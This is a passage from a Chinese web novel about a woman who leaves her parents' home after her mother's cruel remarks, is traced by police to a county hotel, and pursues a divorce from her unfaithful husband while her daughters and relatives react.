李红跟秦俊彦都说不出话,秦爸已经想到了,县城临水,有河,每年暑假,村里学校都会发暑假安全通知,在大喇叭上广播,最重要的一条就是不要让孩子去河里水边玩儿。 可每年都有孩子去河里玩水出事。 想到闺女去大堤,万一是想不开……秦爸整个人都不行了,脸色一白,捂着心口问妻子,“小冬走前说的什么?她是不是说,她走了,不会再回来了。她是不是这么说的?” 秦妈大哭,“那就是拌嘴的话!话赶话的!谁还能当真?” “姓冯的王八羔子,他把我闺女逼死了!我饶不了他!我要他偿命!”秦妈疯了般,要出去找冯春拼命。李红忙拦着婆婆,跟丈夫说,“给冯春打电话,告诉他,有人看见大姐走着去了大堤上。不知道大姐是不是想不开,他认识的人多,现在路上都有监控,让他去警局找人,察监控,看能不能找到大姐。咱们这就去大堤上。” 秦俊彦再顾不得恩怨,立刻联系冯春。冯春已经在来夏家村的路上,再有十来分钟就到。听到这个消息也担心不已,他掉转车头,找了县警局的一位交情颇好的副局长。 立案后,警局加班调出天眼录像。因为有人在大堤上见过秦冬,大约有个时间段,就十分好察。 警察看看录像上的时间,不禁说,“这大热的天儿。” 很快查到秦冬离开大堤的背景,警方先松口气,“应该不是去寻死的。” 去药店买药,还有去宾馆的身影都找到。警方说了地址,跟冯春说,“我们陪您过去看看,大姐应该是去宾馆了。” 冯春千恩万谢,也松口气。 秦俊彦李红也是再三感谢警方,副局长说,“都乡里乡亲的,这原也是我们份内之事。” 警方一辆车,冯春开自己的车,秦俊彦李红带着村里那位见过秦冬在大堤上的同村人一道开车过去。 这是一家小宾馆,前台坐着的就是老板娘,一见警方上门,特别配合。看一眼冯春手机里有关秦冬的高清照片,都没查入住系统,直接报出秦冬入住的房间号,又配合着上去开门。老板娘先是敲门,学着电视里的称呼,“秦女士,你在吗?” 等一会儿,里面没回应。老板娘这才拿出门卡,刷卡声响过,拧住把手,感觉到里面的锁住的。她跟警察说,“房间是能反锁的。里面反锁了。” 冯春使劲砰砰砸门,大声叫,“小冬小冬!” 秦俊彦也焦急的喊,“姐!姐!” 正当大家想破门的时候,里面传来细微开锁声,那扇简陋的米白色房门被从里面打开。秦冬的头发衣服都有些散乱皱褶,脸上带着枕头边压出的红痕,那是刚从床上起来的痕迹。 冯春见她没事,喜不自胜,一把抓住她的肩,高兴的说,“小冬!你没事!” 秦俊彦李红都放下心来,脸上露出喜色。 秦冬拨开冯春的手,见有警察在,问,“李副局,什么事?”冯春和李副局交好,秦冬自然也认识。 李副局说,“小冯和你弟弟、弟媳找不到你,急的报了警。小冬啊,你可让大家急坏了。” 秦冬有些奇怪,“我出来时跟我爸妈说了,我要走了,不回去了。他们是知道的,是看着我走的。” “姐,那不是气话么?”秦俊彦说,“找不着你,爸妈都急疯了。” “李副局,两位同志,进来说话。”秦冬侧身,请李副局和两位警察进屋。 李副局消息灵通,知道冯春在跟秦冬闹离婚,冯春外头那女的,他还认识,听说肚子都大了。 李副局可不想看一会儿夫妻俩撕巴起来,他还要拉架。见状道,“你没事,我们就放心了。小冯,这案子结了。明儿你到局里签个字。小冬,我们就不打扰了。” “麻烦您了。”秦冬说,“我送您。” “不用不用。”李副局连连摆手,“你们说话吧。这才几步路。”立刻麻溜带着俩手下退场。 警车驶离宾馆,开车的警察说,“这就是冯总原配吧。说话文绉绉的,还很有礼貌。” 坐副驾的警察接一句,“有礼貌没用,冯总不喜欢有礼貌的。” 李副局皱眉,“都闭嘴。” “这事儿全县上下就没有不知道的。”副驾警察回头,斜侧着身跟上司说,“听说冯总外头那个是——” 副驾警察自动消了个音,继续说,“的外甥女。” 李副局忍着笑,虚点他两下,“闭嘴。”【..top】 5、第五章 那位被秦俊彦李红带来的村民很识趣的说去前台坐坐,没一起去秦冬开的房间。 秦冬举止正常,除了脸色有些泛白,与平时全无二致。 神色甚至比前些天还要好一些。 关好房门,冯春好声好气的跟秦冬说,“爸妈以为你赌气走了,很着急。小弟打电话问我,我才知道这件事。在村群里打听,老陈大哥说看到你在大堤上,我们都吓死了,生怕你出事。” “不用害怕。我不会自杀的。”秦冬很平静,“我只是来县城住宾馆。你们想得太多了。” “姐,咱们这就回去吧。”秦俊彦说,“妈不是有心的,她说话不留心,你别放心上。” “我不会再回去了。俊彦,妈说的都是真心话,那是你们的家,不是我的家。”秦冬淡淡道,“妈说了,我让她不安宁。我不会再去打扰你们。你们好好过安宁日子吧。不用再为我操心。” “姐!”秦俊彦急,“妈就是不留心,说了几句错话,她不是有心的。她怕你出事,都吓晕了。” “哦。”秦冬说,“原来不是有心的,就能往别人心上插刀子。” 秦冬正色对弟弟说,“我不会忘记妈说过的话。你告诉她,以前我以为娘家是我的家,所以我无处可去,才回娘家。她说的话,我一句都不忘。她往我心上扎的刀,我永远不忘。” “我跟任何人认识三十几年,在我的丈夫出轨时,也不会跟我说,这是我无能,是我没本事拢住丈夫,是我没本事捏住家里的钱!”秦冬说起来,仍是难掩心中酸痛与恨意,泪光闪烁,“仇人略讲脸面,也不会当我的面儿这样说。我亲妈,就是这样跟我说的!” 三人显然没想到秦妈竟然说了这样的话,连一向灵活的李红也说不出话。 “我今天没死,以后也不会死。”秦冬泪流掉下来,她狠狠的擦去,“婆家踩我,娘家也踩我。俊彦,我并不下贱。 爸妈生病,妈做手术,我哪次都是在医院跑前跑后,没一回不出钱不尽心。一年三节,爸妈过寿,该买的东西该给的钱,冯春爸妈过寿多少,我就给爸妈多少。 家里有活,只要爸妈开口,我哪回没去帮忙。我平时看到好吃的水果、海鲜、牛羊肉,什么时候都是买三份,我一份,冯春爸妈一份,咱爸妈一份。 我永远不会再回去。以后我就是在街上要饭,我也绝不去爸妈门前要!” “我绝不再回去!你们一家人安宁的过日子去吧。” 秦俊彦呐呐,“姐,妈就是一时气头上。” 秦冬过去打开门,一指门外,“这是我花钱订的房,请出去。不要再来打扰我。我不需要你们帮忙。我一个人活的起。” 秦俊彦哀求,“姐,妈真不是有意的。我回去让她给你来道歉,行不行?” “立刻走!” 秦俊彦还想说什么,李红拉着他,“咱们先回吧。让大姐歇歇,明儿再来。” “明天不用来,以后任何时候都不要再来。” 李红不再说话,拉着丈夫走了。 * 秦俊彦夫妻一走,冯春马上跟秦冬说好话,“小冬。” “我要离婚。”秦冬打断冯春的话,“除此之外,我没别的话要跟你说。” 冯春圆滑无比,立刻转换话题,“我知道我伤了你的心。可孩子怎么办呢?小铮小涵都离不开妈妈,听说你不见了,俩孩子都急哭了,生怕你出事。” 秦冬看向他,“你没给孩子打电话,告诉她们我没事吗?” 冯春一拍脑门,“忘了!咱爸咱妈也都惦记着你哪。” 马上拿手机打电话。 手机铃声响起,惊的冯母一哆嗦,她拿起来,见是儿子的号码,问丈夫,“冯春的电话。” 冯父,“接啊。” “我,我怕呀。”冯母中途打过一次电话,听冯春说有人在大堤上见过秦冬,很担心秦冬真寻了短。 看冯母拿着手机不敢接,冯父刚要说,我接。 手机被冯铮先一步拿走,冯铮眼睛红肿,接通电话,“爸,我妈找到没?” 冯涵就在姐姐身边,也凑近了听。 那边传来一句,“你妈没事,跟你姥姥吵架,来县城宾馆住了。我跟你妈都在宾馆,不用担心。” 冯春素来狡猾,“跟妈妈说几句话吧。”把手机递给秦冬。 秦冬想到两个孩子,心肝儿被摘了似的难受,接过手机,说,“小铮啊,妈妈没事。” 冯铮哽咽着抹眼睛,“那就好。我担心坏了,我怕你想不开自杀。那样我和妹妹就没妈妈了。” “你不是一直说妈妈没骨气吗?原来这么担心我啊。” “我是很生气你干嘛还要回来!明知爸爸出轨,还回来跟他过日子,你这么软弱,谁会感谢你,爸爸和奶奶只会更加欺负你。你再没骨气,也是我跟妹妹的妈妈。你要出事,我跟妹妹就是没妈的孩子了。”冯铮流着泪,“你得好好的。奸夫□□都活的好好的,你根本没有一丁点儿的错,难道没错的反倒去死?你得好好活着,我就不信这世上没报应。” 秦冬心里又欣慰又酸楚,她忍着泪水跟女儿说,“我没想过自杀。今天是你姥姥骂我,我才知道,你姥姥一直嫌我给她添麻烦。以前我以为大家是亲人,我是能回去的,今天知道原来没这样的情分。我就出来了。 在县城住宾馆里。不用担心,妈妈是绝不会自杀的。 你的话是对的,我上次不该回去。我以为日子能凑合着过,我想看你们长大,上大学,工作,看来凑合不了了。 明天妈妈还要休息一天。后天是星期六,我让你爸爸接你跟涵涵过来,妈妈想见见你们。爸爸妈妈离婚的事,也要跟你们商量。” “行,没问题。”冯铮声音坚定,“妈,你拿定主意就不要再变了。” “我跟涵涵都很好,妈妈你不用担心我们。你在外头好好吃饭,干啥都得有副好身体才行。你别太节俭,总亏待自己。我还有许多话,等见面再说。” “好。” “天晚了,妈妈你早点休息。我跟涵涵也要洗澡睡觉了。咱们后天见。” 冯涵在边儿上说,“姐姐,我也想跟妈妈说话。” “你不要说太久,妈妈很累了。” “嗯。”冯涵接过电话,软软的说,“妈妈,我跟姐姐很好。你好好吃饭,好好睡觉。咱们后天见。” 冯铮看妹妹一眼,这不都学我么。 秦冬的心却是软透了,她声音更加轻柔,“好,后天见。” “妈妈我爱你。”冯涵说完这句,就挂了电话。冯母在边儿上直急,“我还没跟你爸说话呢。” 冯铮把手机还给奶奶,“要是算计我妈的话,就别说了。” 说完她对着妹妹一扬下巴,“小涵,走,睡觉去!” 冯涵立刻像个跟屁虫一样,跟着姐姐走了。冯母担了半日的心,也没心情骂冯铮,嘀咕一句,“净说屁话!” 重新拨了儿子的电话,再三叮嘱,“跟小冬多说些好话,怎么着也要让小冬回来。她要是一月五千不答应,一月给一万也行。” 冯春胡乱答应,“先挂吧。” 他挂断电话,秦冬说,“刚你也听到了,后天星期六,你带着小铮小涵过来,我要见见孩子,到时再说离婚的事。” “不是,小冬——” “你要不想离也行。赵莹的肚子能等,我没问题。” 冯春一窘,“不是。” “除了离婚,我没有任何话要跟你说。”秦冬说,“我今天很累,离婚的具体事,后天再说。你走吧。记得带孩子们来,如果你有事,来不了,那未来十个月,我也再没时间谈离婚了。” 说完,秦冬拉开房门,“出去!” 秦冬神色凛然,冯春竟不敢再多说,出门才想起来,跟秦冬说,“咱们县里也有房,你去那边儿住吧。要不,我去天风大酒店给你开间房。” 砰的一声,秦冬将房门紧紧关闭。 冯春叹口气,心里像是缺失了什么,他闷闷下楼去,到前台时停住脚,从包里拿出一千块钱并一张名片放到前台,跟值班的老板娘说,“麻烦多照顾我媳妇,有事儿给我打电话。” “哎呀,不用不用。”老板娘客气推拒,冯春没心情客套,微微颌首致意,先离开了。 老板娘看冯春的车开走,才喜滋滋的把钱收起来,钞票在掌心甩了甩,老板娘由衷感慨,“网红是真有钱呐!”【..top】 6、第六章 秦俊彦开车,李红在路上给公婆打电话报平安。知道秦冬没事,老两口也都放下心来。秦妈半瘫半靠在沙发上,只觉身上一点劲儿都没有。 她跟丈夫说,“你先带着小鑫去睡觉吧。我再缓缓。” 秦爸道,“等小冬回来,你什么话都不要再说。” “我知道,我知道。”经这一场惊吓,秦妈哪儿还敢再说什么。 她靠着沙发缓了一会儿,还去秦冬屋里收拾收拾,床头放了杯温水。 约摸半小时,秦俊彦李红就回来了。听到车响,秦妈连忙站起身,想出去看看。琢磨一下,又坐了回去。 李红进来跟婆婆打声招呼,就过去看儿子了。秦爸见儿媳妇回来,问,“你姐回来了?” “我姐没回来,还在县城住着。我们先回来了。”李红说,“爸,你过去吧。俊彦在妈那边儿,我来看小鑫睡觉。” 秦爸问,“你姐没事吧?” 想到宾馆床头柜上霍香正气水的药盒,李红说,“有些中暑,吃了药。” “哦。”秦爸有心想问,那怎么没把人接回来。他没问儿媳,过去问儿子了。 * 秦俊彦的心情很沉重,秦爸过来时,正听儿子说,“妈,你怎么能对我姐说那么重的话?什么拢不住男人,什么捏不住家里的钱,没本事。 那是我姐的错吗?我姐难道对冯春不好,还要怎么拢?是冯春自己下贱,这种天生下贱的贱胚子,就是给他身上装定位,他该出轨还是要出轨。 我姐多难啊!咱们骨肉亲人,不说帮她。她回娘家住几天,你还说这种话伤她的心。你还撵她走。” 秦俊彦说着都哭了,“你这是要干嘛?她是哪儿对不住你了,你要这样伤她心。” 秦妈早后悔了,她喃喃,“我就气头上那样一说。谁还没气头上说过几句狠话。我也不是有意的。” “你是不是有意的,大姐不回来了。大姐说,仇人都不会当她面儿这样说。她以后,不会再麻烦我们,不用咱家操心,以后就是要饭都不会再登你跟爸的门。让咱们一家安宁的过日子。” 秦妈捂脸哭起来,“她这是恨上我了呀!” “我不是那个意思!”秦妈大哭,“那是我亲闺女,难道我不盼她好。我是一时的气话,不是要撵她!” 秦爸心里空落落的,走进来跟儿子说,“也忙了大半天,先去睡吧。我跟你妈也要歇了。你妈说错话,伤了你大姐的心,明天你开车带着我跟你妈,让她给你大姐道歉。” 秦俊彦低声说,“看大姐的样子,怕是难了。” “难不难的,也得去。”秦爸拍拍儿子的肩,“去睡吧。” 秦妈坐着哭了半宿,一个劲儿的说,“我不是故意那么说的,我是气头上,口不择言了。我哪儿知道她气性那么大,跟自己亲娘还真生气啊。” “这养的哪儿是闺女,是我这辈子的冤孽。”秦妈哭的嗓子沙哑,直捶胸口,“我难道不心疼她。当初我就说,姓冯的畜牲不像好人。她就叫人哄的晕头转向,非得嫁。好容易日子过好了,这才几年,那畜牲就外头有人了。我说叫她趁年轻,要个三胎,她也不听。要有个儿子,怎么着也离不了。” “好了!”秦爸低喝一声,“你不要整天儿子儿子的!还是俊彦说的对,就冯春那种畜牲,就是八个儿子也没用!他该出轨还是要出轨!” “你不许再跟小冬说半个让她走的话。” “我哪里还敢说。”秦妈哭的眼睛烂肿,“今天我也不是故意的。只要她不生气,回来我当她祖宗一样供着都行。” 秦爸叹气,“现在知道后悔了。” * 这天晚上,秦冬睡的很沉,早上醒的也晚。阳光透过窗帘映出一片亮光,可想而知外头必是艳阳天。 她看看时间,八点。 房间有空调,衣服倒没粘在身上,只是昨天出了大量的汗,又睡了一宿,已经皱的不像样子。 秦冬先去卫生间试了试水温,慢慢洗了个澡。 等吹干头发出来,已经八点半了。 给手机充上电,开机后看到很多的未接通话,很多的信息。秦冬没急着回,她先在外卖平台买了一打一次性内裤和一条连衣裙,拉开窗帘,全部收拾好就九点了。 秦冬并不饿,这些天,她一直没胃口。想到两个女儿,秦冬心里就泛起满满暖意。她吃过药,都收拾好,就背着包出门去了。 经过前台时,老板娘热情的打声招呼,问,“您好,要打扫卫生吗?” “不用了。”秦冬说,“我就住到今天。” 老板娘愣了一下,说,“好。”连忙从身后拿了瓶矿泉水给秦冬,“现在天儿热,我看你昨天脸色不大好,就不给你拿冰的了。这水你带着,渴了喝。” 秦冬收了矿泉水,“好。谢谢。” 她先是换了个价格相仿的宾馆,跟老板讲好价钱,办了包月。过去安顿下来,秦冬叫了辆网约车往商场去。她在商场外的小吃店喝了一碗红豆粥,两个素馅包子。 以前倒是常来县城商场,后来,家里日子越来越好,也就往市区的大商场去了。秦冬买了一身现穿的长裤短袖,一套四件套,一条夏凉被,想到小宾馆的房间,又去一楼超市买几条好用的鱼鳞抹布和一副塑胶手套。 手机响的时候,刚过十点钟,秦冬看一眼来电,直接挂断。马上手机再次响起,秦冬再挂断。 一直挂了十来次。 秦俊彦坐在昨天宾馆前台供客人使用的沙发上,鼻尖儿急的微汗,“我姐不接我电话。” 秦妈张张嘴,没说话。她的眼睛依旧是肿的,看向丈夫,秦爸说,“能不能找人查查,看你姐去哪儿了?” “这得立案才行。没有立案,警局也不给查的。”秦俊彦说,“我借前台电话试试。” 他去前台找老板娘借了座机打过去,电话很快接通,秦冬听到秦俊彦的声音,直接说,“我不接你电话,就是不想听你说话,不想见你。你不明白吗?” “姐,爸妈都来了,妈是想来跟你道歉的。她知道错了。” 秦冬声音不轻不重,“我不接受。不要再找我。我永远都不会忘记他们有多绝情。永远都不会原谅他们。” 秦爸秦妈见电话接通,都到前台边儿上凑近了听。老板娘也很想听一下别人的家庭隐私,不过还是识趣的离远了些。 秦妈眼泪涌出来,“让我跟你姐说说话。” 电话立刻被挂断。 “挂了。”秦俊彦看向父母,“我姐就是为了躲咱们,才换了宾馆。” 秦妈哭着说,“哪儿就恨我恨到这地步。” “咱们先回吧。”秦俊彦说,“我在县城也有朋友,我托人帮我瞧着些,兴许什么时候就有我姐的信儿,到时再来。” 一家三口也没好法子,只得先行回家。 李红中午接儿子放学,见丈夫公婆都回来了,看这氛围,不用问便知道恐怕去的结果不太好。 秦爸秦妈都没心情做饭,秦俊彦买了面条回来,黄瓜丝胡萝卜丝都擦好了,家里有现成炸酱,人齐了面条现煮,中午就吃炸酱面。 李红跟着去厨房忙活,听丈夫说没见到大姐。李红安慰丈夫,“县城就那么大,我好几个朋友都住县城,我托她们帮忙留意,要是见着大姐跟我讲一声,到时咱们再去找。” “我也托人留意了。” “等找到大姐,也别急。大姐在气头上,先别提妈的事儿。咱们先把县城房子的钥匙给大姐送去,咱们县城有房,何必让大姐住宾馆。”李红说,“下午我过去,收拾收拾,把房子再打扫一遍,到时让大姐过去住。” “我就担心大姐是真生分了。就是找着大姐,大姐也不会去住的。” 李红叹口气,“这不能急。老好人一旦动了真怒,就是会比普通人暴怒更吓人。” 李红忽然有个好主意,“咱们下午买点东西,去看看小铮小涵。大姐放不下孩子,小铮这孩子又聪明又懂事,我把钥匙给小铮一把,让她交给大姐。” “这法子好。”秦俊彦说,“小铮小涵都爱喝酸奶,买两箱。再买两箱罐头,孩子们都爱吃。” “行啊。” 秦俊彦叹气,“就是俩孩子可怜。”想到冯春就气不打一处来。要不是水开要捞面条,秦俊彦一定会再把冯春臭骂一顿。 * 秦俊彦李红估摸着时间,约摸孩子们放学的点儿,才开车往冯家村去。实在是俩村挨的近,十分钟就到。 冯母见着秦俊彦李红上门,连忙热情百倍的招呼。李红寒暄,“婶子你别忙了,我们来看看小铮和小涵。” 冯铮冯涵一回家,就看到舅舅、舅妈和奶奶坐在客厅说话,冯母说,“快过来,看你舅舅、舅妈来看你们了,还给你们买很多吃的。” 俩人叫过长辈,秦俊彦李红一人一个外甥女抱怀里,“我记得你们爱喝酸奶吃罐头,来,舅舅给你们打开。”秦俊彦打开包装箱,拿了酸奶给外甥女喝,“一会儿吃饭,罐头明天再吃。” 李红不忘叮嘱一句,“现在天热,要是放冰箱,一次别吃太多,小心冰着肚子。” 俩人都应了。 秦俊彦又问外甥女们学习怎么样,眼瞅就要期末考试放暑假了。冯铮说,“我估摸着,县第一问题不大。” 冯铮学习一向好,就从没考过第一以外的名次。 冯涵说,“我考个班里第一没问题。”她不如姐姐,学习也很好。 冯母一脸骄傲,“这都是小冬辅导的好。像我上年纪,各方面都不如小冬。学习更帮不上忙。” 冯铮拆奶奶的台,“我妈当然辅导的很好。我跟小涵已经养成好习惯了,就是没我妈辅导,一样考第一。奶奶你别总说的好像离了我妈地球就不转了行不?” “我还不是心疼你们?后妈能跟亲妈比吗?” “哪儿来的后妈?难道小三会来村儿里跟我们过日子?”冯铮嘲笑奶奶,“人家肯定跟我爸住市区大别墅。你这土砖土瓦的农村房,也就您自己当宝贝。” 冯母被冯铮笑的脸上有些挂不住,当着人家大舅的面儿,她也不好骂人家外甥女。主要冯铮的话特有道理,冯母没好气,“她爱住哪儿住哪儿,一辈子不来我才清静。” 冯铮说,“奶奶你去做饭吧。我们跟舅舅、舅妈说说话。” “行。我去做饭。”冯母捶着腰起身,冯铮说,“你要觉着累,我让我爸出钱,雇个家政。过来收拾家务做饭,一个月五千块钱,多的是人做。” 冯母眉毛竖起来,“钱是大风刮来的!我哪儿累了!” “那你捶啥腰?” “我是坐功夫长了!我一点儿不累!” “好。去吧去吧。多做俩菜。我大舅大舅妈带着礼来的,你可别抠啊!” “你才抠哪!”冯母回怼冯铮,让秦俊彦夫妻坐着,她去张罗晚饭。 李红站起来,“大娘你不用忙,我们不在这儿吃,就是这来看看孩子。” 冯母拉着李红的手,说的恳切,“冯春不做人,大娘对你们可没一点不好。你们带着东西来看孩子,哪儿能不吃饭就走。你们是小铮小涵的大舅大舅妈,咱们就是看着孩子,也不能生分。” 冯母倒是诚心留饭,就像她说的,秦家是俩孩子外家,该死的冯春不学好,连累她这老娘也跟着操心受累。哎,俩孩子可怜。怎么能慢怠人家亲大舅呢。 冯母去做饭,冯铮问,“大舅,你跟大舅妈来干嘛?” “来看看你们。”秦俊彦看冯铮的酸奶没打开,帮她插上吸管。秦俊彦斟酌着开口,“昨天你姥姥说错话,把你妈气到县城住去了。” “我知道啊。昨天我妈电话里都跟我说了。”冯铮道,“我早跟我妈说过,我姥姥那人,又抠又刻薄,跟我奶奶似的。平常都是我妈买东西给她,我妈有啥好东西都想着她,空运来的海鲜,那么大的龙虾、螃蟹、扇贝,成盒的海参、野生的大对虾,都是我爷爷奶奶一份,姥姥、姥爷一份。送东西时,姥姥眉开眼笑的。回礼就是地里桃儿熟了,卖剩下的给我家拉两筐来。” 冯铮边比划边说,讲的活灵活现,没一字作假。不要说秦俊彦,李红也听的脸颊发烫。冯铮安慰大舅,“我不是说桃儿不好。我姥姥去商场买衣服,都记得给我大舅妈带一件,她都不主动说给我妈买。还让我妈帮她参考款式,生怕大舅妈不喜欢。等付钱的时候,也不主动去付,装的老眼昏花找不着收银台,都是我妈去给她付钱。 还要跟我妈说,回头我转你。也没转过。” 冯铮跟大舅、大舅妈说,“只要是我妈带她去买衣服,都是我妈付钱。一买买你们一大家子的。” 秦俊彦羞愧极了,“这个我真不知道。” “姥姥怎么会跟你们说。”冯铮宽慰般握住大舅的手,“要不是她满嘴喷粪,这种时候把我妈赶走,我也懒得提。” “你俩真该把姥姥一起带来,我好当面儿问问她,她昨天是怎么骂我妈的。我妈这么好的人,能被骂的跟她一刀两断。我真是好奇死了。”【..top】 7、第七章 要是地上有条缝,秦俊彦羞愧的能直接钻进去。 李红勉强说,“你姥姥现在特别后悔。” “这才刚开始,她后悔的日子在后头哪。”冯铮叹气,“像我妈这样,大事小情不计较,一心一意孝顺的人,世上能有几个啊。” “以前姥姥还教育我说,人这一辈子,福气是有定数的,所以要惜福。现在看,这话正应了我姥姥,她这辈子福气就这么点儿。就是有大福,她也得作没了。她就这命。” “今天我带着你姥姥、姥爷,去找你妈道歉,你妈换宾馆了,也没找着。” “那就是为了躲你们。”冯铮认真的说,“舅啊,你要帮不上我妈的忙,也不要给她添麻烦。” “这怎么是添麻烦?”秦俊彦连忙解释,“的确是你姥姥说错话,那并不是她的心里话。她是真心要道歉了。” “不是真心话,那是怎么说出来的呢?心里没这么想过?怎么说出来的呢?”冯铮反问,“必是心有所想,口有所言。” 秦俊彦一时语塞。李红说,“小铮,你肯定也有说错话的时候。谁都有犯错的时候,知错能改,对双方都是好事。” “那得看什么错。杀人犯也知错了,能不枪毙吗?” “还能为这个枪毙你姥姥啊。”秦俊彦说。 冯铮靠着沙发,喝口酸奶,“那怎么能呢?所以我妈不见她,也不想见你们。惹不起,总躲得起。说骂就骂,说撵就撵,说道歉就道歉。你们一道歉还必需得原谅你们。不知道的得以为你们是玉皇大帝。” 秦俊彦被说的脸红,“可既然做错事,总不能连道歉都不去吧。” “我妈不想见你们,你们不要去烦她就行了。”冯铮说,“道歉有什么用。我捅你一刀,再跟你道歉?” 李红岔开话题,“这次来,不谈道歉的事儿。你舅是把在县城房子的钥匙带来了,小铮,我们见不着你妈。你拿着这钥匙,你见着你妈,把钥匙给她。这是咱们自己的房子,我跟你舅都不过去,也不会跟你姥姥、姥爷说,这不比住宾馆强么?” 冯铮觉着把握不大,“就是给我,也白搭。我妈平时跟面团儿一样,这样的人生气是真生气,她不会要你们的钥匙的。” “试试。你也不想你妈妈住宾馆吧。”李红语重心长,“不管你妈妈是什么打算,总得有个落脚地方。” “她怎么可能刚离开娘家又住进自己弟弟家呢?”冯铮说,“姥姥只当我舅是自己人,你们在县城的房子,在我姥姥眼里,那就是她的房子。” 冯铮很洒脱,“没事。住宾馆就住宾馆呗。以后我妈出去,住宾馆、租房都是常见的事儿。” 李红打听,“你妈打算去哪儿啊?” “不知道。我反正会劝她走远一些,去就去一线城市,开开眼界。” 秦俊彦担心不已,“你妈也三十多了,学历也不高,去大城市能做什么。我看手机上,大城市找工作也难。” “干嘛非得做什么,我妈有的是钱,一辈子什么都不做,钱也够花。”冯铮奇怪的问,“舅,你不会以为我家的钱都是我爸的吧?那里头有我妈的一半。” “你爸不像那样有良心的人。” “有没有良心。他要还想继续做网红就得要脸,要脸他就不能一毛不拔。”冯铮道。 秦俊彦也明白这个道理,“我就担心你妈心慈面软,一个人去跟你爸谈,要吃亏的。” “我会帮着我妈的。”冯铮想了想,“我爸虽说人品不好,也不至于到这程度。” 秦俊彦觉着冯春就是烂人中的烂人,做最坏准备是没错的,“小铮,你妈现在不见我。我给你买个手机,小铮,你拿着手机,你要看你妈遇着难处,打电话告诉舅舅。舅舅总比外人强,是不是?” 冯铮想了想,“这倒行。这主意比房门钥匙好。” 秦俊彦愁苦中硬是给她逗笑了。李红也觉这主意好,站起来,“咱们这就去买手机。” “行啊。我们村头的手机店就有卖的。” 夫妻俩带着俩外甥女,跟正在东配间做饭的冯母说了一声,开车到村头手机店给冯铮买了个手机。秦俊彦不忘叮嘱外甥女,“只能打电话,发微信,不能玩游戏。” “知道。” 买完手机,遇着冯父从田里回来。冯父见着秦俊彦夫妻比冯母还热情,吃饭时还把自己珍藏的茅台拿了出来。秦俊彦忙说,“大伯,可不敢喝酒,开车呢。” “是啊。大伯,酒就免了。”李红也劝。 冯父不以为然,“又不是在城里,村儿没人查酒驾。” 冯母也在边儿上劝,“少喝点儿没事儿。” 冯铮给冯涵夹两片凉拌猪耳朵,不耐烦这虚情假意,“天都黑了,村儿里路窄,车又多,再喝它半斤酒,出事儿算谁的?” 冯涵也说,“书上说,开车不喝酒,喝酒不开车。” 冯母说,“从咱家到你姥姥家,也就三步道,这么近,怕什么?” “怕什么?”冯铮翘起嘴角,跟冯母说,“奶奶,你看啊,你俩、的儿子,在外头出轨,要跟我姥姥的女儿离婚。你跟我爷爷吧,又拼命劝我姥姥的儿子喝酒,让他酒后驾驶。你说怕啥?” 冯母尴尬死了,她是真想把秦俊彦夫妻招待好的,她说,“你看,人上年纪,就想的少。” 冯父也很尴尬,把酒放在一边,“那咱们下回再喝。” “爷爷,你要真心请我舅,等会儿他走的时候,把酒给他放车上,让他拿回去喝,不就行了。” 冯父笑,“这主意好。等会儿给俊彦带家喝。” “不用不用,我不大喝酒的。”秦俊道连忙婉拒。 等吃过饭,秦俊彦夫妻告辞的时候,冯父直接把酒给他搁车里了。冯铮说,“舅,你等一下,我也有东西。” 她回屋片刻就拎了个塑料袋出来,递给秦俊彦,“舅,这是送给姥姥的牙刷,你替我给姥姥,让她好好刷刷她那粪坑嘴。” 冯父冯母马上轻斥,“小铮怎么说话呢。” “孩子也是替我姐不平,的确是我妈说话过头。”秦俊彦好脾气的接过冯铮送的牙刷,“大伯大娘,那我们就先走了。” “行。路上小心。” 秦俊彦摸摸俩外甥女的头,“有事儿给舅舅打电话。” “嗯。你们回吧。到家给我发微信报平安。”冯铮说。 秦俊彦笑,“知道了。” 李红说,“这俩孩子,就大娘你俩受累了。” 冯母展示自己的慈爱,“这是应当的。” 冯铮拆她台,“我奶奶是替我爸受的累。没把儿子教育好,可不就该着嘛。” 原本觉着冯铮说话难听的秦俊彦李红,立刻舒坦无比,想外甥女就是性格比较直。 * 送走秦俊彦李红夫妻,冯母忍不住说冯铮,“你能说话好听些么?” “我爸妈要离婚了,我一肚子火,没爆炸就是好的!有这功夫,管好自己儿子吧!”冯铮叫着妹妹洗澡睡觉去了。 冯母先是骂冯铮几句,又骂冯春,“都是这畜牲不做人!” 接着骂冯父,“你也真大方。好几千块钱的酒,亲自给人塞车里。你酒多的没地方放了?” “这是外人吗?这是孙女的大舅。”冯父当然也心疼自己的好酒,只是嘴里绝不能说出来的。且冯春秦冬的事儿,还是自家对不住秦家,送瓶好酒也不算啥。 冯母顾不上茅台,往姐妹俩屋里去,“我得叮嘱孩子们几句,明天一定得把小冬劝回来。我可受不了了。” * 冯春晚上都会在公司加一会儿班,下班后,他直接在县城房子歇了,躺在柔软的大床上,再想到秦冬住的小宾馆,冯春心里有些不是滋味。 他跟秦冬是自由恋爱,很有一段幸福甜蜜的时光。秦冬真的没半点不好,当初他对赵莹,也没想过真就在一处。 哎,不过,赵莹的确年轻漂亮。 想到明天要去见秦冬,冯春难免辗转反侧,他现在当然更爱赵莹一些,可对秦冬也不是毫无感情。 怎么可能一点感情都没有呢? 恋爱三年,婚姻十二年,这是十五年的时光。 冯春心里当然有自己的小算盘,只是不知为什么,他隐隐觉着,这一次,秦冬是真的要同他分开了。 冯春轻轻叹口气。 手机铃声响起,他伸手拿起来,是赵莹的电话。冯春接通,赵莹问,“回家没?” “回了。” “等一下,我换视频打给你。”赵莹挂断电话,改为视频通话。 赵莹美丽的小脸儿出现在手机屏幕,冯春声音都软了几分,“什么事?” “没事儿就不能给你打电话啊。”赵莹娇嗔,“我是特意看着时间,公司直播结束,才打给你的。” “我是说这么晚了。你又怀着孩子,不要熬夜。” 赵莹甜蜜一笑,“小舅说明天让咱们过去吃饭,你有空吗?” “明天不行。你代我跟小舅道歉吧。明天我得带俩孩子去见秦冬,商量离婚的事。” 赵莹说,“秦冬姐又不用上班,后天也是星期天,孩子们也不上学,不能改个时间吗?” “她说明天如果不去,往后十个月她都没时间。”冯春问赵莹,“要不要改?” 赵莹倒是挺识趣,“那你先去那边吧。” “今天宝宝在我肚子里动了。” 俩人说几句甜言蜜语,结束视频。 * 白天天气太热,直到九点,才暑意稍退。不少人趁这功夫在公园里的小广场上散步消暑,广场外默契的摆起许多夜市摊子,烧烤、炒面、炸串、烤冷面、关东煮,还有套圈儿的摊子,最受孩子们欢迎。 明天是星期六,故而跟大人们出来的孩子们也很多,毕竟明天不用早起上学。 